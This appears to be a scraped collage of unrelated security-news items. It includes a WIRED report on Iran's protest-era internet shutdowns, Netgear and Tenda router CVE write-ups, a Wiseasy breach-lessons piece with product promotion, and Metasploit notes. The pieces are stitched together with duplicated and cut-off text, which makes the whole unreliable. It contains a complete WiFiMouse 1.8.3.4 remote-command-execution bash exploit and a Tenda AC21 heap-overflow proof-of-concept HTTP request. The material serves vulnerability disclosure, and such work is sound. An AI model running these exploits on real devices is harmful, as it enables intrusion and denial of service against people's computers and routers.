Amid protests against the killing of Mahsa Amini, authorities have cut off mobile internet, WhatsApp, and Instagram. The death toll continues to rise.

In the Iranian city of Shahrud, surrounded by hundreds of protesters, two women climb onto a platform and defiantly wave their hijabs above their heads in an act of public defiance. The scene, caught on video, is posted online by the 1500tasvir Instagram account. In recent days, the account has published dozens of videos from Iranian towns and cities as thousands of people protest the death of 22-year-old Mahsa Amini, who died in police custody after being arrested by Iran’s “morality police.”

In another video shared by 1500tasvir, women burn their headscarves while chanting for freedom. Protesters are shown confronting police officers in another. And other videos claim to show people bleeding, injured, or dead, following brutal clashes with police officers as protests have spread to more than 80 cities across Iran. “They stood against the police, who are armed, and they \[protesters\] just shout at them,” says one person behind the 1500tasvir Instagram account, whom WIRED is not naming to protect their safety.

The 1500tasvir account was set up in 2019 following widespread protests in which hundreds of people were killed by police. During those protests, Iranian officials totally shut down the internet, stopping people from organizing protests and limiting the information flowing in and out of Iran. Now history is repeating itself. But this time, more people are watching.

As thousands of people have taken to the streets to protest the death of Amini this week, Iranian officials have repeatedly shut down mobile internet connections and disrupted the services of Instagram and WhatsApp, two of the most popular social media services in the country. The internet shutdowns are the largest since November 2019 and raise fears about further atrocities. So far, more than 30 people have reportedly been killed, while the Iranian government has admitted to 17 deaths.

“Shutting down mobile internet service has become a go-to for the Iranian government when dealing with civil unrest,” says Doug Madory, director of internet analysis at monitoring firm Kentik, who has been following the shutdowns. “People were using these services to share videos of the protests and the government’s crackdown, so they became targets of government censorship.”

Iran started shutting the internet down on September 19 as protests around Amini’s death gained momentum. Since then, multiple internet-monitoring organizations, including Kentik, Netblocks, Cloudflare, and the Open Observatory of Network Interference, have documented the disruptions. Mobile network operators, including the country’s biggest providers—Irancell, Rightel, and MCI—have faced rolling blackouts, the groups say. Multiple mobile providers have lost connectivity for around 12 hours at a time, with Netblocks saying it has seen a “curfew-style pattern of disruptions.” Felicia Anthonio, who leads NGO Access Now’s fight against internet shutdowns, says the group’s partners have reported that text messages containing Amini’s name have been blocked. “If you’re sending a message containing that name, it doesn’t go through,” Anthonio says.

The clampdown against Instagram and WhatsApp started on September 21. While shutting down mobile connections is hugely disruptive, blocking access to WhatsApp and Instagram cuts off some of the only remaining social media services in Iran. Facebook, Twitter, and YouTube have been banned for years. State-backed Iranian media said it was unclear how long the blocks on Instagram and WhatsApp would last but that they had been imposed for “national security” reasons. “It does seem they are targeting these platforms that are the lifeline for information and communication that’s keeping the protests alive,” says Mahsa Alimardani, an academic at the Oxford Internet Institute who has extensively studied Iran’s internet shutdowns and controls.

The 1500tasvir team member says the account, which is run by a group of around 10 core people both inside and outside of Iran, is posting videos to document the protests. People on the ground send the videos—in some areas, patchy connections are available and fixed Wi-Fi connections still work​​—and the group checks the content before posting it online. The group says it is receiving more than 1,000 videos per day, and its Instagram account has more than 450,000 followers.

Internet shutdowns can have a “huge” impact on protests, the 1500tasvir team member says, because when people around Iran can’t see that others are protesting, they may be likely to stop themselves. “When you … see other people feel the same way, you get more brave. You are more enthusiastic to do something about it,” they say. “When the internet is cut off … you feel alone.”

The blocks against WhatsApp also appear to have impacted people outside of Iran. People using Iranian +98 telephone numbers have complained that WhatsApp has been slow to work or not functioning at all. WhatsApp has denied it is doing anything to block Iranian phone numbers. However, the Meta-owned company has refused to provide any more information on why +98 numbers outside of Iran have faced problems. “There's something strange going on, and it’s likely to do with the way Iran is implementing censorship on these different platforms because it does seem a bit more targeted,” Alimardani says.

In recent years, governments wanting to silence their citizens or control their behavior have increasingly turned to draconian internet shutdowns as tools of suppression. In 2021, 23 countries, from Cuba to Bangladesh, shut the internet down a collective 182 times. Iranian officials are no strangers to the practice. Anthonio says Iran’s latest internet shutdown is the third time the country has disrupted the internet in the past 12 months. “We continue to see that internet shutdowns also provide a cover for authorities to hide atrocities that are perpetrated against people during protests,” Anthonio says.

Iran’s current shutdown is the biggest since its November 2019 protests, when people took to the streets over drastic fuel price rises. More than 200,000 protesters were faced with a brutal response from the police: Amnesty International has documented the names of 321 people who were killed during the protests, but the NGO says the figure is likely far higher. (Previous estimates say up to 1,500 people were killed and 4,800 were injured.)

Throughout those protests, Iranian officials conducted a complete internet blackout. All internet connections were blocked, preventing people from telling the world what was happening. (The country’s home-brewed, heavily censored, intranet remained available.) So far, the internet shutdowns following Amini’s death haven’t reached the same scale. However, experts worry they may continue to grow the longer the protests last. That could also mean an increase in police violence. The Center for Human Rights in Iran says it has already recorded 36 deaths linked to the protests, including 15- and 16-year-old boys.

Despite the internet shutdowns, footage from the protests has managed to get out. So far. “I’m seeing more content and more footage from these protests than I think I even saw during November 2019,” Alimardani says. However, when the internet is disconnected everything can go silent. “I don’t get any messages in the past hour. Because they cut off the internet,” the 1500tasvir member, who is based outside of Iran, says in a phone call. “They don’t want the world to know how cruel they are.”

Iran’s Internet Shutdown Hides a Deadly Crackdown

Netgear Nighthawk AC1900 Smart WiFi Dual Band Gigabit Router R7000-V1.0.11.134_10.2.119 is vulnerable to Buffer Overflow via the wl binary in firmware. There is a stack overflow vulnerability caused by strncat

**Vulnerability Report**

Vendor: NETGEAR

Product: Nighthawk AC1900 Smart WiFi Dual Band Gigabit Router

Version: R7000-V1.0.11.134\_10.2.119 (Download Linkhttps://www.netgear.com/support/download/?model=R7000)

Type: Stack-based Buffer Overflow

**Vulnerability description**

We found a buffer overflow vulnerability in AC1900 with R7000-V1.0.11.134\_10.2.119 firmware which was released recently, allows remote attackers to destory the execution memory from a crafted request. This can cause a denial of service or impact code execution

**Remote Command Execution**

In wl binary, there is a stack overflow vulnerability caused by strncat.

In function 0x461bc, the value of pcVar1 is obtained through fgets with the maximum length 0x200 byte. The value of pcVar1 will be copied to ppcVar4 (actually copied to the local\_70 array by moving the pointer) 

The local_70 is passed as parameter to function 0x45e18. 

In function 0x45E18, the a2 parameter is copied to v16. v16 will be copied to v12. Then v12 will be passed as a parameter to the function pointer (v3+1).  

The function pointer may point to function 0x3c0c4. 

In function 3xc0c4, a3 (with a maximum length of 0x200) will be assigned to v5.

The v5 will be copied to v19 through strncat. The buffer of v19 is 100 bytes. So a buffer overflow may occur.

CVE-2022-37235: Bug-Report/netgear-R7000-0x461bc.md at main · Davidteeri/Bug-Report

Netgear Nighthawk AC1900 Smart WiFi Dual Band Gigabit Router R7000-V1.0.11.134_10.2.119 is vulnerable to Buffer Overflow via the wl binary in firmware. There is a stack overflow vulnerability caused by strncpy.

**Vulnerability Report**

Vendor: NETGEAR

Product: Nighthawk AC1900 Smart WiFi Dual Band Gigabit Router

Version: R7000-V1.0.11.134\_10.2.119 (Download Linkhttps://www.netgear.com/support/download/?model=R7000)

Type: Stack-based Buffer Overflow

**Vulnerability description**

We found a buffer overflow vulnerability in AC1900 with R7000-V1.0.11.134\_10.2.119 firmware which was released recently, allows remote attackers to destory the execution memory from a crafted request. This can cause a denial of service or impact code execution

**Remote Command Execution**

In wl binary, there is a stack overflow vulnerability caused by strncat.

In function 0x461bc, the value of pcVar1 is obtained through fgets with the maximum length 0x200 byte. The value of pcVar1 will be copied to ppcVar4 (actually copied to the local\_70 array by moving the pointer) 

The local_70 is passed as parameter to function 0x45e18. 

In function 0x45E18, the a2 parameter is copied to v16. v16 will be copied to v12. Then v12 will be passed as a parameter to the function pointer (v3+1).  

The function pointer may point to function 0x38b90. 

In function 0x38b90, a3 (with a maximum length of 0x200) will be assigned to v5. 

The v5 will be copied to v62 through strncpy. The buffer of v62 is 32 bytes. So a buffer overflow may occur.

CVE-2022-37234: Bug-Report/netgear-R7000-0x461bc-strncpy.md at main · Davidteeri/Bug-Report

Last month Tech Crunch reported that payment terminal manufacturer Wiseasy had been hacked. Although Wiseasy might not be well known in North America, their Android-based payment terminals are widely used in the Asia Pacific region and hackers managed to steal passwords for 140,000 payment terminals.
How Did the Wiseasy Hack Happen?
Wiseasy employees use a cloud-based dashboard for remotely

Last month Tech Crunch reported that payment terminal manufacturer Wiseasy had been hacked. Although Wiseasy might not be well known in North America, their Android-based payment terminals are widely used in the Asia Pacific region and hackers managed to steal passwords for 140,000 payment terminals.

**How Did the Wiseasy Hack Happen?**

Wiseasy employees use a cloud-based dashboard for remotely managing payment terminals. This dashboard allows the company to perform a variety of configuration and management tasks such as managing payment terminal users, adding or removing apps, and even locking the terminal.

Hackers were able to gain access to the Wiseasy dashboard by infecting employee's computers with malware. This allowed hackers to gain access to two different employee's dashboards, ultimately leading to a massive harvesting of payment terminal credentials once they gained access.

**Top Lessons Learned from the Wiseasy Hack****1 — Transparency isn't always the best policy**

While it is easy to simply dismiss the Wiseasy hack as stemming from an unavoidable malware infection, the truth is that Wiseasy made several mistakes (according to the Tech Crunch article) that allowed the hack to succeed.

For example, the dashboard itself likely exposed more information than it should have. According to Tech Crunch, the dashboard "allowed anyone to view names, phone numbers, email addresses, and access permissions". Although the case could be made that such information is necessary for Wiseasy to manage terminals on their customers' behalf, Tech Crunch goes on to say that a dashboard view revealed the Wi-Fi name and plain text password for the network that the payment terminal was connected to.

In a standard security environment, interface should never be designed to display passwords. The open display of customer information, without a secondary verification of the end-user, also goes against a zero-trust policy.

**2 — Credentials alone won't cut it**

A second mistake that likely helped the hack to succeed was that Wiseasy did not require multifactor authentication to be used when accessing the dashboard. In the past, most systems were protected solely by authentication credentials. This meant that anyone with access to a valid username and password could log in, even if the credentials were stolen (as was the case in the Wiseasy hack).

Multifactor authentication requires users to use an additional mechanism to prove their identity prior to accessing sensitive resources. Often this means providing a code that was sent to the user's smartphone by SMS text message, but there are many other forms of multifactor authentication. In any case, Wiseasy did not use multifactor authentication, there was nothing stopping hackers from logging in using stolen credentials.

**3 — Devices should be triple checked**

A possible third mistake might have been that of Wiseasy employees accessing sensitive resources from a non-hardened device. Tech Crunch reported seeing screen captures of the Wiseasy dashboard in which an admin user had remote access to payment terminals. The Tech Crunch article does not say that the admin's computer had been infected with malware, but since malware was used to gain access to the dashboard and the screen capture shows an admin logged into the dashboard, it is entirely possible that an admin's machine was compromised.

As a best practice, privileged accounts should only be used when required for a particular task (with standard accounts being used at other times). Additionally, privileged accounts should ideally be used only on designated management systems that have been hardened and are not used for any other tasks.

**4 — Stay on top of your own security**

Finally, the biggest mistake made in the Wiseasy hack was that the company seemingly (based on the Tech Crunch article) did not know that its accounts had been compromised until they were contacted by Buguard.

Buguard is a security company specializing in pen testing and dark web monitoring. Ideally, Wiseasy would be monitoring their own network for a potential breach and shut it down immediately when it's first noticed.

**Moving Forward: How to protect your own network from a similar hack**

The Wiseasy hack underscores the importance of adhering to long established security best practices such as requiring multifactor authentication and using dedicated management workstations for privileged operations. Subscribing to a zero-trust philosophy in your organization can solve a lot of these problems.

Additionally, it's important to have a way of knowing if your organization's accounts have been compromised. Otherwise, an attacker who has gained access to stolen account credentials could use those credentials indefinitely. One of the best ways to keep this from happening is to use Specops Password Policy. Specops maintains a database of billions of passwords that are known to have been compromised.

This database is kept up to date with passwords found on known breached password lists, as well as passwords being actively used in attacks. Specops Password Policy uses this information to make sure that none of your user's passwords have been compromised. If an account is found to be using a compromised password, the software will notify you so that you can disable the account or change its password right away. You can test out Specops Password Policy tools in your AD for free, anytime.

Whether you're bringing pen testing in house, moving toward a zero-trust infrastructure, or blocking known breached passwords from your Active Directory, there are a lot of ways to make sure your organization doesn't fall victim to the consequences of a malware attack like Wiseasy.

Found this article interesting? Follow THN on Facebook, Twitter __ and LinkedIn to read more exclusive content we post.

IT Security Takeaways from the Wiseasy Hack

This Metasploit module utilizes the Unified Remote remote control protocol to type out and deploy a payload. The remote control protocol can be configured to have no passwords, a group password, or individual user accounts. If the web page is accessible, the access control is set to no password for exploitation, then reverted. If the web page is not accessible, exploitation will be tried blindly. This module has been successfully tested against version 3.11.0.2483 (50) on Windows 10.

Unified Remote Authentication Bypass / Code Execution

WiFiMouse version 1.8.3.4 suffers from a remote code execution vulnerability.

# Exploit Title: WiFiMouse 1.8.3.4 - Remote Code Execution (RCE)  
# Date: 15-08-2022  
# Author: Febin  
# Vendor Homepage: http://necta.us/  
# Software Link: http://wifimouse.necta.us/#download  
# Version: 1.8.3.4  
# Tested on: Windows 10

#!/bin/bash  
printf "  
  WiFiMouse / MouseServer 1.8.3.4 Exploit

                    by FEBIN

"

printf "[*] Enter the Target IP Address: "  
read TARGET

rce(){  
printf "[*] Enter the Command to execute on the Target:  "  
read CMD

sh -c "echo 'key  9[R] WIN d';sleep 1;echo 'key  9[R] WIN u';sleep 1;echo 'utf8 cmd /c $CMD';sleep 1;echo 'key 9[R] RTN u'" | socat - TCP4:$TARGET:1978  
}

dirlist(){

echo "[*] User's Home Directory Contents:"

echo 'fileexplorer ~/' | nc $TARGET 1978 | strings | cut -b 2-

while $true  
do  
printf "\nList Directory:> "  
read DIR  
echo "[+] Contents of $DIR: "  
echo "fileexplorer ~/$DIR" | nc $TARGET 1978 | strings | cut -b 2-  
done

}

printf "  
 [1] Remote Command Execution  
 [2] Directory Listing

  "  
printf "Enter Your Choice (1 or 2) : "  
read CHOICE

if [[ $CHOICE == "1" ]]  
then  
rce  
elif [[ $CHOICE == "2" ]]  
then  
dirlist

else  
echo "[-] Invalid Choice!"  
fi

WiFiMouse 1.8.3.4 Remote Code Execution

An exploitable firmware downgrade vulnerability was discovered on the Netgear WPN824EXT WiFi Range Extender. An attacker can conduct a MITM attack to replace the user-uploaded firmware image with an original old firmware image. This affects Firmware 1.1.1_1.1.9 and earlier.

CVE-2022-38956

A potential unathenticated file deletion vulnerabilty on Trend Micro Mobile Security for Enterprise 9.8 SP5 could allow an attacker with access to the Management Server to delete files.

This issue was resolved in 9.8 SP5 Critical Patch 2.

CVE-2022-40980

Due to a reliance on client-side authentication, the WiFi Mouse (Mouse Server) from Necta LLC's authentication mechanism is trivially bypassed, which can result in remote code execution.

This PR adds a new module to exploit an auth bypass to rce in 'wifi mouse'.  
Leaving it draft right now, talking to @todb / @todb-r7 about a possible CVE for it.

@H4rk3nz0 looks like you were the original author (and your twitter is gone), did you ever reach out to the company to responsibly disclose?

This is a neat exploit as you connect to the server, ask it to open cmd, then type out what you want on the user's screen. its fun to watch shell code :). Wrote in a cmdstager method, but due to the payload length and it appearing on the user's screen, its unreliable (needs ~3.5min of solitude). If the user types anything or moves the focus to another window, exploit will fail. wrote second method which uses what the original exploit does to host the payload on a web server and just download it. MUCH faster and more reliable.

**Verification**

*   install and start software. i tried it on the one linked in EDB and the most recent one on the website
*   Start msfconsole
*   use exploit/windows/misc/wifi_mouse_rce
*   Set rhost and lhost as required.
*   run
*   **Verify** it works via both methods (targets)
*   **Document** looks good

CVE-2022-3218: wifi mouse rce by h00die · Pull Request #16985 · rapid7/metasploit-framework

Tenda AC21 V 16.03.08.15 is vulnerable to Buffer Overflow via /bin/httpd, setSchedWifi.

**Tenda AC21(V16.03.08.15) contains heap Buffer Overflow Vulnerability****overview**

*   Manufacturer's website information：https://www.tenda.com.cn/
*   Firmware download address: https://www.tenda.com.cn/download/detail-3419.html

**product information**

Tenda A21(V16.03.08.15), latest version of simulation overview：

**description****1\. Vulnerability Details**

Tenda AC21(V16.03.08.15) contains a heap overflow vulnerability in file /bin/httpd, functionsetSchedWifi  .

This vulnerability allows attackers to cause a Denial of Service (DoS) via the schedStartTimeand  schedEndTimeparameter.

the strcpy(ptr+2, v8) and strcpy(ptr+10, v7) copies strings to heap buffer without checking its length, so there is a heap overflow.

**2\. Recurring loopholes and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/openSchedWifi HTTP/1.1
    Host: 192.168.0.1
    Content-Length: 224
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://192.168.0.1
    Referer: http://192.168.0.1/system_time.html?random=0.9865714904007963&
    Accept-Encoding: gzip, deflate
    Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
    Connection: close
    
    schedStartTime=1111111111111111111111111111111111111111111111111111111111111111111111111111111&schedEndTime=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111&schedWifiEnable=1&timeType=1
    

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

Tag

#wifi